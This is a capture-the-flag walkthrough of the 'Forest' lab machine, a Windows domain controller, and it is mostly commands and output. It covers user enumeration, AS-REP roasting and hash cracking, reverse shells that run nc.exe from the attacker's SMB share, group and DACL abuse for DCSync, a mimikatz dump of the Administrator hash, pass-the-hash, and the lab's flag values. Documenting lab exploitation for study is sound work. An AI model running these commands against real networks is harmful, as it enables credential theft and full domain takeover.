Forest
Machine Details
Resolution Summary
- SMB Null Session & RPC Enumeration: Discovered null authentication using
netexecand abused it to dump valid domain users withrpcclient. - AS-REP Roasting: Identified that
svc-alfrescodid not require Kerberos pre-authentication, allowing us to extract its hash using Impacket. - Password Cracking & WinRM Shell: Cracked the AS-REP hash using Hashcat and used the credentials to execute commands via WinRM, catching a reverse shell.
- Group Membership Abuse (GenericAll): Discovered the compromised account belonged to
BUILTIN\Account Operators, grantingGenericAllrights over theExchange Windows Permissionsgroup. - DCSync Attack & Pass-the-Hash: Added the user to the Exchange group, modified the DACL to grant DCSync rights, dumped the
AdministratorNTLM hash using Mimikatz, and obtained a root shell via Pass-the-Hash.
Used tools
- nmap
- netexec
- rpcclient
- hashcat
- impacket
- netcat (nc)
- mimikatz
- rlwrap
Information Gathering
Scanned all TCP ports:
❯ sudo nmap -p- -sS -Pn -n -T4 --open -oG ports 10.129.63.225
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49670/tcp open unknown
49676/tcp open unknown
49677/tcp open unknown
49681/tcp open unknown
49698/tcp open unknown
49985/tcp open unknownEnumerated open TCP ports:
❯ sudo nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49670,49676,49677,49681,49698,49985 -sCV -Pn -n -T4 -oN nmap 10.129.63.225
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-01 17:01:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49985/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2026-09-01T10:02:33-07:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 2h26m49s, deviation: 4h02m31s, median: 6m48s
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-time:
| date: 2026-09-01T17:02:31
|_ start_date: 2026-09-01T16:30:14Enumeration
netexec shows us that Null Authentication is enabled.
❯ netexec smb forest
SMB 10.129.63.225 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) (Null Auth:True)This means that we can enumerate domain users using rpcclient. We will save them into a text file, excluding some “default” accounts.
❯ rpcclient -U "" -N forest -c "enumdomusers" | cut -d '[' -f 2 | cut -d ']' -f 1 | grep -vE "SM_|HealthMailbox"
Administrator
Guest
krbtgt
DefaultAccount
$331000-VK4ADACQNUCA
sebastien
lucinda
svc-alfresco
andy
mark
santi
❯ rpcclient -U "" -N forest -c "enumdomusers" | cut -d '[' -f 2 | cut -d ']' -f 1 | grep -vE "SM_|HealthMailbox" > users.txtWe will now check if any user is AS-REP Roasteable, which returns us the hash for svc-alfresco.
❯ impacket-GetNPUsers htb.local/ -usersfile users.txt -dc-ip forest.htb.local -format hashcat | grep -vE "KDC_ERR_C_PRINCIPAL_UNKNOWN|DONT_REQUIRE"
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
$krb5asrep$23$svc-alfresco@HTB.LOCAL:07b387fe74b3772a65c3965b4d45dc9b$f2dd028ab3f9fb153bdf2cd9226909ef02b513fa7ce9b7678c9cc438877f8d44701719dadf3bb02a9b65e6eb85e036428128e7f9c4d6361b168714578163b36ec14305ce6c28dd346f2819d4794b8f4e0288a808d5150c54537db2953107b49667733c15a41bef76e2755586339ba362b732d13409218566ab8785d2350c5cbcb760725283855d4cb26ec75aa7bd42c369e764164be538f40a12bf15223b8495f6f6bd208932fef186d57d464c7db2f02c1d2ce17865de431c8b55c4fb50729d32b86bddd2825603f3312a7c21cbf3d513c02096580d587b6deebfd3b81deb16161b4710e96aWe will now try to crack the hash for this user using hashcat.
❯ hashcat -a 0 -m 18200 hash_svc-alfresco.txt /usr/share/wordlists/rockyou.txt
{...}
$krb5asrep$23$svc-alfresco@HTB.LOCAL:07b387fe74b3772a65c3965b4d45dc9b$f2dd028ab3f9fb153bdf2cd9226909ef02b513fa7ce9b7678c9cc438877f8d44701719dadf3bb02a9b65e6eb85e036428128e7f9c4d6361b168714578163b36ec14305ce6c28dd346f2819d4794b8f4e0288a808d5150c54537db2953107b49667733c15a41bef76e2755586339ba362b732d13409218566ab8785d2350c5cbcb760725283855d4cb26ec75aa7bd42c369e764164be538f40a12bf15223b8495f6f6bd208932fef186d57d464c7db2f02c1d2ce17865de431c8b55c4fb50729d32b86bddd2825603f3312a7c21cbf3d513c02096580d587b6deebfd3b81deb16161b4710e96a:s3rviceThis returns to us the password s3rvice. Which we can confirm using netexec.
❯ netexec smb forest -u svc-alfresco -p s3rvice
SMB 10.129.63.225 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.129.63.225 445 FOREST [+] htb.local\svc-alfresco:s3rviceExploitation
We can see that we have permissions to run commands through WinRM, we will abuse this to get a reverse shell.
❯ netexec winrm forest -u 'svc-alfresco' -p 's3rvice' -X 'whoami'
WINRM 10.129.63.225 5985 FOREST [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local)
WINRM 10.129.63.225 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
WINRM 10.129.63.225 5985 FOREST [+] Executed command (shell type: powershell)
WINRM 10.129.63.225 5985 FOREST htb\svc-alfrescoTo do this we will use a netcat windows binary, which Parrot OS bundles with it by default. We will then create a SMB Server to host the file. Finally, we will execute it in the remote DC.
As said, the first step is to create the SMB Server.
❯ ls nc.exe
nc.exe
❯ sudo impacket-smbserver pwn $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.63.225,58259)
[*] AUTHENTICATE_MESSAGE (\,FOREST)
[*] User FOREST\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:pwn)Then we start our listener, and launch the command in another shell session.
❯ sudo nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.63.225 58266
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\svc-alfresco\Documents>❯ netexec winrm forest -u 'svc-alfresco' -p 's3rvice' -X '\\10.10.17.208\pwn\nc.exe 10.10.17.208 443 -e powershell.exe'
WINRM 10.129.63.225 5985 FOREST [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local)
WINRM 10.129.63.225 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)Privilege Escalation to Administrator
Local Enumeration
If we list our group membership, we will see that we are part of the group BUILTIN\Account Operators.
PS C:\Windows\Temp> whoami /groups
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Account Operators Alias S-1-5-32-548 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
HTB\Privileged IT Accounts Group S-1-5-21-3072663084-364016917-1341370565-1149 Mandatory group, Enabled by default, Enabled group
HTB\Service Accounts Group S-1-5-21-3072663084-364016917-1341370565-1148 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192This means that we have permissions GenericAll over most of the non-administrative users or groups of the Domain. Microsoft Document
Now we need to see if there’s any group which would allow us to further escalate privileges. After some enumeration, we find groups regarding Exchange. In particular, there’s the group Exchange Windows Permissions, which, if we are part of, it would allow us to do a DCSync attack.
PS C:\Windows\Temp> Get-AdGroup -Filter * | Select-Object Name, GroupScope, GroupCategory | findstr Exchange
Get-AdGroup -Filter * | Select-Object Name, GroupScope, GroupCategory | findstr Exchange
Exchange Servers Universal Security
Exchange Trusted Subsystem Universal Security
Exchange Windows Permissions Universal Security
ExchangeLegacyInterop Universal Security
Exchange Install Domain Servers Global SecurityTo check if we have permissions, we have to take a look into the ACL of the mentioned group, filtering by the group Account Operators.
PS C:\Windows\Temp> $group = Get-ADGroup "Exchange Windows Permissions"
PS C:\Windows\Temp> $acl = Get-Acl "AD:\$($group.DistinguishedName)"
PS C:\Windows\Temp> $acl.Access | Select-Object ActiveDirectoryRights, IdentityReference | findstr "Account Operators"
$acl.Access | Select-Object ActiveDirectoryRights, IdentityReference | findstr "Account Operators"
GenericAll BUILTIN\Account OperatorsPrivilege Escalation vector
As we can see, we have GenericAll permissions over this group. We can abuse this permissions from the attack box using the net command. It won’t return us any output.
❯ net rpc group addmem "Exchange Windows Permissions" "svc-alfresco" -U htb.local/svc-alfresco%s3rvice -S forestWe can check if we were added using the following command, as whoami /groups won’t show it.
PS C:\Windows\Temp> net user svc-alfresco /domain
net user svc-alfresco /domain
User name svc-alfresco
Full Name svc-alfresco
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 9/1/2026 12:36:52 PM
Password expires Never
Password changeable 9/2/2026 12:36:52 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 9/1/2026 10:25:04 AM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Exchange Windows Perm*Domain Users
*Service Accounts
The command completed successfully.Now that we are members of the group, we can abuse it by adding a DACL into the Domain Object, essentially giving us permissions to perform a DCSync. To do this we will use dacledit.py from impacket.
❯ python3 /usr/share/doc/python3-impacket/examples/dacledit.py -action 'write' -rights 'DCSync' -principal 'svc-alfresco' -target-dn 'DC=htb,DC=local' htb.local/svc-alfresco:s3rvice 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20260901-193411.bak
[*] DACL modified successfully!The command says that it modified it successfully. The last thing is to exploit this privileges. As we don’t have many privileges to run commands over the network, we will send a mimikatz executable to the machine, and then use it to obtain the hash of the administrator account.
PS C:\Windows\Temp> .\mimikatz.exe
.\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /user:"htb\administrator"
[DC] 'htb.local' will be the domain
[DC] 'FOREST.htb.local' will be the DC server
[DC] 'htb\administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
User Principal Name : Administrator@htb.local
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration :
Password last change : 8/30/2021 5:51:58 PM
Object Security ID : S-1-5-21-3072663084-364016917-1341370565-500
Object Relative ID : 500
Credentials:
Hash NTLM: 32693b11e6aa90eb43d32c72a07ceea6
ntlm- 0: 32693b11e6aa90eb43d32c72a07ceea6
ntlm- 1: 9307ee5abf7791f3424d9d5148b20177
ntlm- 2: 32693b11e6aa90eb43d32c72a07ceea6
lm - 0: 9498c81fd53411e023fcd1ff4cd3e482
lm - 1: f505fe58b1dedbe3015454d212af5115To finish, we can use Pass The Hash to get a shell as administrator.
❯ netexec smb forest -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6 -X '\\10.10.17.208\pwn\nc.exe 10.10.17.208 444 -e cmd.exe'
SMB 10.129.63.225 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.129.63.225 445 FOREST [+] htb.local\administrator:32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!)
SMB 10.129.63.225 445 FOREST [+] Executed command via wmiexec❯ sudo rlwrap nc -nlvp 444
Listening on 0.0.0.0 444
Connection received on 10.129.63.225 50452
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\>whoami
whoami
htb\administratorTrophy
C:\Users\svc-alfresco\Desktopuser.txt
ee4eb16b6d0dc84e3d1adcd3bcc1fdc8
C:\Users\Administrator\Desktop\root.txt
3982b4b1961814259b88c284a397e8b5